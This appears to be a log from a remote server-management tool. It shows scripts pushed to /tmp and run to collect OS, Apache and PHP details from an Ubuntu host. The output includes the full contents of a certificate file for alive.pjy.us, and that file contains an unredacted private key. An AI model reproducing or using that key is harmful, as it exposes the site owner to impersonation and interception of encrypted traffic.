         default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 06:01:37: 

PUT: /tmp/pkp585208

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_alive_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:01:37: 

chmod 755 /tmp/pkp585208; /tmp/pkp585208; rm /tmp/pkp585208

2025-12-31 06:01:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_alive_us.conf	1144

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-31 06:01:37: 

PUT: /tmp/pkp702261

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:01:38: 

chmod 755 /tmp/pkp702261; /tmp/pkp702261; rm /tmp/pkp702261

2025-12-31 06:01:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb	5356
53:42:be:58:01:c4:53:2f:61:65:1c:4a:71:2b:f8:7a

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBqRCuV/kHaUQNs8n6autgKlVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjU3WhcNMjYwMzMxMDUwMjU2WjAXMRUwEwYDVQQD
EwxhbGl2ZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr
k06yk15M4nC54vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7R
xmM3h5OAw8uKclOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq
10cKMQK/2Yo+8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZo
UVzyX+aGd1oV4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9
NDsu/6x++ZFDhKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R
68fXDyUTMACqMEz8Qk3RAgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBGY4UR8oCe1mRDshLOP7tBJcYPXMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMYWxpdmUucGp5LnVzMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbcv86hwAABAMASDBGAiEA9HJ+HVrY
dV5orry0OBpxH9GTnBNrA8tR3qgUeyGG4MwCIQDOMjtEVWACq+305ryIeCqn5qkb
iEliHLSmbMaD5l/AFQB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHi
AAABm3L/OywACAAABQAFotjFBAMARzBFAiAWg9uifZtZoWXfJAcmoCr//ZFKs9aj
KtetPXqF5sugKwIhAOfK/KXoaGtttXjuWuT26NzNBazIwpO0qAv1x3nhdAdnMA0G
CSqGSIb3DQEBCwUAA4IBAQCUp3Ltgf9rfcj9BKt2aBH3hEjja1FwN2XMsAs/bBKX
kYp1llsnBjNJ4PNn2ZYYnZun4ndQJMJTWJCxKDPGcR3QOMXPm+DXxAwAn3aOV5bm
z/ksL/59o5w2yfrSoeDec5ddG/cKkX/6zas1WXKN5ykCERtFiEzBumymb6B+jU9c
gUYq3Dpkrc51xll0dvH2y26+kPWgSyuh2oucr03UeBQFUtTepO9MCY+Wsaq67Qfq
W2O2tBhXcIOb3l3xIAo6n3lSPCLGEo+FPTro0ob3Y9d7qh8DdFEo4otE3JmOxRTo
JDevasbMR/j+9bWm2jUeGh0RSFM2KGmlafNidXMv65g2
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrk06yk15M4nC5
4vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7RxmM3h5OAw8uK
clOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq10cKMQK/2Yo+
8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZoUVzyX+aGd1oV
4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9NDsu/6x++ZFD
hKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R68fXDyUTMACq
MEz8Qk3RAgMBAAECggEAM1e//5E48WH7oKyqqEN5EOn02BSj3Ypck6ecTUGJgPgs
tRJpWqvMLgOjuWkYXwoB7V1kGFxiR/CPaq0elGKcvfWxeiCglL0Bsh3r2SmNN5gN
3UD9+8fBEUjcUu97lEC0SUaFlCepbnavN3oyEPqqqku1l4wkGWWlXeq0A66aRI45
9z1L7B1NyniGBU8odG9QWLT8a5Wqr+gwh2uJN76XGEDlKUYjTIPS7ciCIpqQl7L2
lQBD0iVbwHZOGDFC04CJ2IUuRyzTx1Umq2q3TIcLYpO39QbRVxH7STrF2dzlGJuK
wTjl03zeSa7gjWbcds0CAUoWN9w3MGrsBPKBhXFPPwKBgQDa/yNhlUZ/C+lo6lpT
rZ9kM1+Idhm6EVIjaKp2J85AfwystEL5Qnfp4RlGaE3Vjh9IPu9WmDScNDcN7NgU
lnDQqCY/ePlwlLgHAll5bN/nmDiOQYoEPZo9kpvKPpoCwPGG4/WeC2eW7A/T4yzD
HiWEr4ZtNAMMlv7mDAqWXRETVwKBgQDIkO3uvm19RZ8jBRbpy/TdFSX6M+rE4Gh6
vIn9BPm7xVlsLqdd0ytasBbCKCNKXfk1+Up9okk4kj6D+MpK2matbQnfvuLnuVhg
ktpY0ucPEfav1itxIzFWhbon0EjFQ8MP/ICuHk5jk1G2UgoDp6cvg/pwUCNtob0r
aAbjRbFXFwKBgQCE7YEoZleYHj7bdATH7gdl5tkCF82d542X+JwfhCHpfDTRT8mn
SvVGfV++IOm9yrqqO6lDQrgMaJVSWoT+WiK4RJiSxneCIoNhncd5sOBnzznk/1sr
H8lTvn3Z0Q3ixgLVAeHAwONr9HXXA3nUJaRYWcKa3otLRQwLzxtOEcefmQKBgQCL
wcm6OgGLcE8ilPJReeingYwUG8c05vaGyAgTQjtO54aXRq8jRvmH2PoS0us8b90v
CgYpI0OIYwei6GL149f2cuuVeKseM13s9Yemq1eMfcT64+8jiBViKA7+nTmIE97B
rf5w1fdjlY0z0VjfER0DlCCX0I/PXgu2Sme6SJ75gwKBgQDWZR2Fa4C0fyASXW6f
UgfW9HXHdN5q3sv4WFqPvArKTHJlx3B6LvOL2yZLGW1rnnI8tPiZw8LOYYYzmfpV
miWSHTy8XKJMtWJY/dG+YV2G+gbNVqeKd1kEKeYl6evAfZhcBlUHKqn1vPPPkKAz
+ilf+BPfiIWUFBp6ZA92v4qhXw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-31 06:01:38: Establishing a remote connection
2025-12-31 12:35:43: Establishing a connection
2025-12-31 12:35:55: Establishing a connection
2025-12-31 12:35:56: Performing Server Status
2025-12-31 12:35:56: 

PUT: /tmp/pkp136825

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-31 12:35:57: 

chmod 755 /tmp/pkp136825; /tmp/pkp136825; rm /tmp/pkp136825

2025-12-31 12:35:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		2816		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-31 12:35:57: 

PUT: /tmp/pkp821726

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-31 12:35:58: 

chmod 755 /tmp/pkp821726; /tmp/pkp821726; rm /tmp/pkp821726

2025-12-31 12:35:58: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 437995
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      437995  0.0  0.2 256144 35388 ?        Ss   Dec19   0:33 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2025-12-31 12:35:58: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2025-12-31 12:35:58: 

PUT: /tmp/pkp252484

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-31 12:35:58: 

chmod 755 /tmp/pkp252484; /tmp/pkp252484; rm /tmp/pkp252484

2025-12-31 12:35:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-12-31 12:35:59: 

PUT: /tmp/pkp386058

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
